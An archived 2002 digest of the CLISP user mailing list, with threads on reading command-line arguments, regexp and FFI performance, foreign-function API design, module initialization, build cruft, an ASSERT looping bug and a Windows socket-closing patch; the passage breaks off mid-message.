isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15548.37026.220265.375689@isis.cs3-inc.com> To: Mark Watson Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Q: getting command line args in CLisp? In-Reply-To: <0E1250AB-517C-11D6-A7B6-000A27E2BE52@markwatson.com> References: <0E1250AB-517C-11D6-A7B6-000A27E2BE52@markwatson.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 14:02:17 2002 X-Original-Date: Tue, 16 Apr 2002 13:59:14 -0700 Mark Watson writes: > I wanted to use CLisp for some simple scripting and I need to > grab the command line args when starting CLisp. > I didn't see anything in the docs on how to do this. > > Any ideas? Try this script: #!/usr/local/bin/clisp (print ext:*args*) From bley@wh2-19.st.uni-magdeburg.de Tue Apr 16 14:20:57 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xaNi-00008e-00 for ; Tue, 16 Apr 2002 14:20:54 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 8B22F9F73; Tue, 16 Apr 2002 23:20:57 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15548.38329.75071.624575@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: Mark Watson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Q: getting command line args in CLisp? In-Reply-To: <0E1250AB-517C-11D6-A7B6-000A27E2BE52@markwatson.com> References: <0E1250AB-517C-11D6-A7B6-000A27E2BE52@markwatson.com> X-Mailer: VM 7.03 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 14:21:05 2002 X-Original-Date: Tue, 16 Apr 2002 23:20:57 +0200 >>>>> "Mark" == Mark Watson writes: Mark> I wanted to use CLisp for some simple scripting and I need Mark> to grab the command line args when starting CLisp. I didn't Mark> see anything in the docs on how to do this. Mark> Any ideas? I don't know which version you're using, but when I run 'clisp --help' (with CLISP 2.28) I get this: GNU CLISP (http://clisp.cons.org/) is an ANSI Common Lisp. Usage: /usr/local/lib/clisp/base/lisp.run [options] [lispfile [argument ...]] When `lispfile' is given, it is loaded and `*ARGS*' is set to the list of argument strings. Otherwise, an interactive read-eval-print loop is entered. [...] HTH Claudio From ortmage@gmx.net Tue Apr 16 18:30:07 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xeGr-0001VS-00 for ; Tue, 16 Apr 2002 18:30:05 -0700 Received: (qmail 26382 invoked by uid 0); 17 Apr 2002 01:29:57 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.121] Message-ID: <15881.1019006997@www49.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Image libraries and dynamic foriegn functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 18:31:02 2002 X-Original-Date: Wed, 17 Apr 2002 03:29:57 +0200 (MEST) In light of the new dynamically loadable foreign function interface, is it still best to make an interface to ImageMagick a standard module (like regexp) that is part of a memory image? -Scott -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 17 01:27:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xkmR-00084y-00 for ; Wed, 17 Apr 2002 01:27:07 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 17 Apr 2002 10:25:37 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57FFR0>; Wed, 17 Apr 2002 10:26:53 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] About speed, and regexp&FFI in particular (was: A general query o n the virtual machine) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 01:28:16 2002 X-Original-Date: Wed, 17 Apr 2002 10:26:45 +0200 Hi, Raymond Toy writes: > There will always be something that needs the speed. Except for strict number crunching (wheather forecasts etc.) I see the need mostly induced by broken software design. This consumes tons and tons of cycles, making even today's machines look slow. E.g. GUI: on slow machines, you can see how many applications refresh their windows 2 to 3 times. Do you think the designers and programmers solved the problems? No, they (and the users) moved to faster machines where multiple refresh doesn't blink on the eye anymore. E.g. CLISP regexp: I've yet to post the figures (at home). But in short: CLISP modules/regexp performance is abysmal in certain situations. This is not due to regex.c, somewhat due to the FFI, not due to CLISP strictly speaking (as opposed to native code compilers like CMUCL). It's due to the API that the regexp module and FFI provide and makes things impossible or dreadfully slow. Yet, nobody ever complained here that CLISP's regexp may become slow beyond any belief! (Who uses it? please raise hands :) + On my machine, it takes 0.203 seconds to find the 3 occurrences of "Extracts" in the 1MB large file impnotes.html - It takes 50 seconds(!!) to find the 2839 occurrences of "lisp" using the following code. The reason is IMHO due to regexp' use of the CLISP FFI and its property to copy everything on the stack. As a result, subparts of the 1MB impnotes text are repeatedly copied on the stack. An O(n) algorithm (n length of text) becomes O(n*m) (m number of matches), and it shows :-( The search "speed" is brought down to reasonable values (< 1 second IIRC, figure at home), when, using my work-in-progress FFI, I allocate the impnotes buffer *once* and pass a reference to it (using the :start keyword), like anybody would do in C, instead of copying the huge FFI:C-STRING type argument on every match. The current CLISP FFI doesn't provide an interface for doing this. Of course, there's some tradition in the last decade to buy machines 50 times faster instead of working on software design, so search time also stays within one second for up-to-date users (buyers). Regards, Jorg Hohle. Why buy faster machines instead of doing homework? Maybe my fault is that I grew up in times when people still counted machine cycles and knew the number of cycles most processor instructions required? (defun test1 (&optional (text *huge-buffer*)) (ext:space (loop for pos = 0 then (regexp:match-end m) for m = (regexp:match "lisp" text :start pos :case-sensitive t) while m collect (regexp:match-start m)))) ;(defvar *regexp-testfile* ".../src/clisp-2.28/src/impnotes.html") (defun read-file (&optional (name *regexp-testfile*)) (with-open-file (f name :direction :input :external-format (ext:make-encoding :charset 'charset:iso-8859-1 :line-terminator :unix)) (let ((buffer (make-string (file-length f)))) ;;TODO test length = read (values buffer (read-char-sequence buffer f))))) ;(multiple-value-bind (buf l) (read-file) (list (length buf) l)) ;(defvar *huge-buffer* (read-file)) From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 17 02:31:29 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xlmi-0005ZD-00 for ; Wed, 17 Apr 2002 02:31:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 17 Apr 2002 11:29:45 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57FL71>; Wed, 17 Apr 2002 11:31:01 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] critique of default-foreign-language & API design questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 02:32:21 2002 X-Original-Date: Wed, 17 Apr 2002 11:30:59 +0200 Hi, Sam Steingold wrote: > having separate def-c-call-out, def-win32-call-out &c is "the scheme > way" (TM) :-) It's not. It supports people's (including programmers) natural lazyness and concisely expresses exactly what's needed, which is valuable. Remember when I said "attempt to make programmer state the obvious". I'll expand on what I consider a design question: I'm considering changing dynload.d's # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option) into (LOCATE-FOREIGN-VARIABLE name lib) and (LOCATE-FOREIGN-FUNCTION name lib) One might consider this to be superfluous. OS-option (currently unused on UNIX and MS-Windows) would be used to mean "as a variable", so (LOCATE-FOREIGN-FUNCTION name lib) = (resolve-foreign-name name lib NIL) (LOCATE-FOREIGN-VARIABLE name lib) = (resolve-foreign-name name lib T) What's the rationale behind such a change? FUNCTION vs. VARIABLE only makes a difference on platforms with HAVE_SHL_LOAD (HP/UX). It doesn't make a difference on other platforms (dlopen(), MS-Windows etc.). There sysdll's dll_function() and dll_variable() map to the same call. My goal is to have programmers on the other platforms easily (and reliably) write code that will work there too -- without crashes or changes. Programmers on the other platforms will tend to forget about the extra parameter to RESOLVE-FOREIGN-NAME, partly because they may not recognize the importance of a difference not visible to them, partly because their code will work in any case. So their testing doesn't show bugs. With LOCATE-FOREIGN-FUNCTION/VARIABLE however, the situation is completely different. By sole virtue of the name, programmers on any platform will notice that there's something wrong should they happen to write (or read): (ensure-foreign-FUNCTION (or (locate-foreign-VARIABLE "compress" "zlib") (error "not found")) '(c-function (:arguments #) #)) That's how I could "show by example" that API design *has* an influence on the robustness and liability of software to crash after the next patch or next port. BTW, I plan to give a course sometime this year, somewhere in Germany, on API design. This could be one of the topics covered. Regards, Jorg Hohle. Working in IT-Security, Software reliability and dependability area inside the German Telekom group. There's a lot of power to names (find appropriate quote :). From toy@rtp.ericsson.se Wed Apr 17 06:29:46 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xpVJ-0002ac-00 for ; Wed, 17 Apr 2002 06:29:45 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g3HDTgl24918 for ; Wed, 17 Apr 2002 08:29:42 -0500 (CDT) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g3HDTgh27616 for ; Wed, 17 Apr 2002 08:29:42 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Wed Apr 17 08:29:42 2002 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA00455; Wed, 17 Apr 2002 09:32:19 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g3HDTdB14825; Wed, 17 Apr 2002 09:29:39 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] About speed, and regexp&FFI in particular (was: A general query o n the virtual machine) References: From: Raymond Toy In-Reply-To: Message-ID: <4nu1qasbb3.fsf@rtp.ericsson.se> Lines: 40 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bok choi) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 06:30:13 2002 X-Original-Date: 17 Apr 2002 09:29:36 -0400 >>>>> "Joerg" == Hoehle, Joerg-Cyril writes: Joerg> Hi, Joerg> Raymond Toy writes: >> There will always be something that needs the speed. Joerg> Except for strict number crunching (wheather forecasts etc.) I see Joerg> the need mostly induced by broken software design. This consumes Joerg> tons and tons of cycles, making even today's machines look slow. I'm biased. I do number crunching with Lisp (mostly CMUCL). Joerg> E.g. GUI: on slow machines, you can see how many applications refresh Joerg> their windows 2 to 3 times. Do you think the designers and programmers Joerg> solved the problems? No, they (and the users) moved to faster machines Joerg> where multiple refresh doesn't blink on the eye anymore. This is also one of my pet peeves. I think developers should develop on the fastest machine they can find, but run the GUI on the slowest machine they can find. While I run Mozilla everywhere and all the time, I think it's one of the worst offenders. A simple dialog box takes forever to come up. It's almost to slow to use on a 300 MHz Ultra 30. Joerg> E.g. CLISP regexp: I've yet to post the figures (at home). But in short: Joerg> CLISP modules/regexp performance is abysmal in certain situations. Joerg> This is not due to regex.c, somewhat due to the FFI, not due to CLISP Joerg> strictly speaking (as opposed to native code compilers like CMUCL). Have you tried one of the pure Lisp implementations of regex routines? I tried 2 different ones for Maxima: nregex from the CMU AI archives, and regex by Shenoy. regex was abysmally slow with Clisp, but very fast with CMUCL. nregex was very fast on Clisp and just fast enough with CMUCL. I think nregex was only slightly slower then Clisp's regexp module for looking up info documention for maxima. But this no longer really has anything to do with clisp.... Ray From peter.wood@worldonline.dk Wed Apr 17 06:32:03 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xpXV-0002r5-00 for ; Wed, 17 Apr 2002 06:32:01 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C1BF1B658 for ; Wed, 17 Apr 2002 15:31:57 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3HDIWf00177; Wed, 17 Apr 2002 15:18:32 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c Message-ID: <20020417151832.A132@localhost.localdomain> References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from clisp@peterb.org.uk on Tue, Apr 16, 2002 at 06:47:23PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 06:33:03 2002 X-Original-Date: Wed, 17 Apr 2002 15:18:32 +0200 Hi, On Tue, Apr 16, 2002 at 06:47:23PM +0100, Peter Burwood wrote: > Trust me when I say Bruno would not put something horrible like that in > unless there was a very good reason. Ok, I realise that the world has moved > on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp > has a reputation for the number of platforms it runs on and runs on > correctly. It got that reputation by Bruno not trusting certain things and > being a little paranoid. First of all, let me say that I don't particularly care one way or the other. If something got my goat enough, I could just go my own way. Having said that, I have the following remarks: 1) In principle, I dislike appeals to authority. Noone is infallible. Certainly, noone is infallible _forever_. 2) Your approach is overly cautious. In 20 years, if we never remove unnecessary code, never consolidate, never rationalise, or clean-up generally, we are going to have one crufty, hairy ball of cr*p. In fact, we might even have CMUCL. > Please don't go removing something you don't > understand just because it seems unnecessary on your platform. > 3) I could as easily say "please don't retain something you don't understand just because you fear it may be necessary on your platform." I am not suggesting that we obliterate and remove from history the assembler files; if we tried it with the c files, and gcc couldn't handle it on platform xyz, then we could just put the necessary file back. Clisp's reputation is strong enough to weather a little thing like that. Most users wouldn't even know. 4) According to sourceforge cvs, a lot of the .s files are simply generated by gcc. Your way, ... we'll never know. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 17 06:32:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xpXt-0002vj-00 for ; Wed, 17 Apr 2002 06:32:26 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 17 Apr 2002 15:30:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57GBRL>; Wed, 17 Apr 2002 15:32:15 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: sds@gnu.org, haible@ilog.fr Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] modules initialization, package and crashes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 06:33:10 2002 X-Original-Date: Wed, 17 Apr 2002 15:32:05 +0200 Hi, > The appended patch appears to fix the problem. > Bruno, Joerg, do you like it? In short, no. I believe initialization must be split in 2: first make everything GC ready (very early). Then (in future very late) make real subrs etc. and call module init functions. I believe your straightforward patch misses the first half by calling init_x() late. Thus, it should be possible to produce a configuration where the system is not completely initialized properly. GC crashes will follow. That's why I asked you to delay inclusion in CVS -- I just had feelings about it that it cannot possibly be correct. I'll delay my FFI-stack allocator and other FFI stuff and concentrate on this instead. Expect something soon. Regards, Jorg Hohle. From dan.stanger@ieee.org Wed Apr 17 06:46:58 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xplx-0004uE-00 for ; Wed, 17 Apr 2002 06:46:57 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16xplu-0008Rx-00 for clisp-list@lists.sourceforge.net; Wed, 17 Apr 2002 07:46:54 -0600 Message-ID: <3CBD7D01.1CA66CD1@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] win32 gdi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 06:47:31 2002 X-Original-Date: Wed, 17 Apr 2002 07:47:45 -0600 I have put a new tgz of my gdi module on my web site www.diac.com/~dxs/gdi.tar.gz It contains a working hello world program. I would appreciate any comments on it. Dan Stanger From peter.wood@worldonline.dk Wed Apr 17 06:49:40 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xpoX-0005GW-00 for ; Wed, 17 Apr 2002 06:49:37 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 8C477B523 for ; Wed, 17 Apr 2002 15:49:34 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3HDaHu00209; Wed, 17 Apr 2002 15:36:17 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynload.d compilation problems Message-ID: <20020417153617.B132@localhost.localdomain> References: <20020414112431.A248@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from clisp@peterb.org.uk on Tue, Apr 16, 2002 at 09:02:18PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 06:50:06 2002 X-Original-Date: Wed, 17 Apr 2002 15:36:17 +0200 Hi, On Tue, Apr 16, 2002 at 09:02:18PM +0100, Peter Burwood wrote: > Peter Wood writes: > > > I also have a rule for dynload.s, but that is only because the other > > ..d files have such a rule, and it does not appear to be used!!??!! > > More cruft from the assembler hack days? > > No, just more usefulness to help debug things when the compiler generates > bad code. > > It is a makefile rule for developers. It does no harm if you don't need it. Perhaps it should go in Makefile.devel, then? When is the last time anyone went through the assembler code for stream.d, or pathname.d? :-) And if anyone ever did, is he out of hospital yet? poor guy :-) > On Cygwin there is a problem with CONST, so I added -DCONST=const to the > compile command as a hack. Did you not have a similar problem, 'cos I didn't > see it in your makefile rules. I see that Joerg had it in his compile > commands too. CONST isn't used in dynload. It's used in sysdll, and I didn't include my rules for sysdll.{c,h,o} since it compiled without problems - but yes, CONST must be defined. Regards, Peter From haible@ilog.fr Wed Apr 17 07:37:19 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xqYY-0003sS-00 for ; Wed, 17 Apr 2002 07:37:11 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g3HEYdB26890 for ; Wed, 17 Apr 2002 16:34:39 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002041716365610687 for ; Wed, 17 Apr 2002 16:36:56 +0200 Received: from honolulu.ilog.fr ([172.17.4.9]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g3HEatH12207; Wed, 17 Apr 2002 16:36:56 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id QAA12882; Wed, 17 Apr 2002 16:35:42 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15549.34878.794642.34679@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] assert goes into an endless loop Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 08:05:32 2002 X-Original-Date: Wed, 17 Apr 2002 16:35:42 +0200 (CEST) With clisp-2.26, $ clisp -x '(assert (>= -1 0))' goes into an endless loop. This makes it very risky to use ASSERT in batch mode scripts. It'd better for the script to abort in such a case, instead of going into an endless loop. Bruno From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 17 08:38:24 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xrVi-0003Kb-00 for ; Wed, 17 Apr 2002 08:38:19 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 17 Apr 2002 17:36:50 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57G2SB>; Wed, 17 Apr 2002 17:38:06 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] dynload.d compilation problems MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 08:50:42 2002 X-Original-Date: Wed, 17 Apr 2002 17:38:05 +0200 Hi, Peter Wood wrote: > CONST isn't used in dynload. It's used in sysdll, and I didn't > - but yes, CONST must be defined. Please get a newer sysdll.c from XEmacs CVS, as I mentioned in my mail from 10.4. CONST is not used anymore in it. I then wrote: JCH>I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS This (or a newer if exists) is what should be integrated into CLISP, not the older version that I got from Reini. Please test this one -- because: JCH> I then need fewer -Dxyz (but others) [...] > anyone went through the assembler code for stream.d, or pathname.d? > :-) And if anyone ever did, is he out of hospital yet? poor guy :-) Do you have reasons to believe I'm in hospital? :-) Regards, Jorg Hohle. From will@misconception.org.uk Wed Apr 17 08:45:02 2002 Received: from mail8.svr.pol.co.uk ([195.92.193.213]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xrcB-0004Ut-00 for ; Wed, 17 Apr 2002 08:44:59 -0700 Received: from modem-1059.babbelas.dialup.pol.co.uk ([62.25.149.35] helo=there) by mail8.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16xrc8-0000oZ-00 for clisp-list@lists.sourceforge.net; Wed, 17 Apr 2002 16:44:56 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop X-Mailer: KMail [version 1.3.2] References: <15549.34878.794642.34679@honolulu.ilog.fr> In-Reply-To: <15549.34878.794642.34679@honolulu.ilog.fr> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 08:55:10 2002 X-Original-Date: Wed, 17 Apr 2002 16:46:35 +0100 On Wednesday 17 Apr 2002 3:35 pm, Bruno Haible wrote: > With clisp-2.26, Is this fixed in the latest versions? From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 17 09:32:44 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xsML-00034a-00 for ; Wed, 17 Apr 2002 09:32:41 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Wed, 17 Apr 2002 18:31:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57GKDM>; Wed, 17 Apr 2002 18:32:30 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] broken http inspect server on win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 09:33:09 2002 X-Original-Date: Wed, 17 Apr 2002 18:32:29 +0200 Hi, Sam Steingold wrote: > missed this. please try the patch: > local void low_close_socket (object stream, object handle) { > begin_system_call(); > + #ifdef WIN32_NATIVE > + if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } > + #endif > if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } > end_system_call(); > } The define is SD_BOTH (cf Arseny's e-mail), not SHUT_*. It doesn't change observed behaviour. Still lots of connection reset by peer in Netscape. Oddly enough, when I set (setq 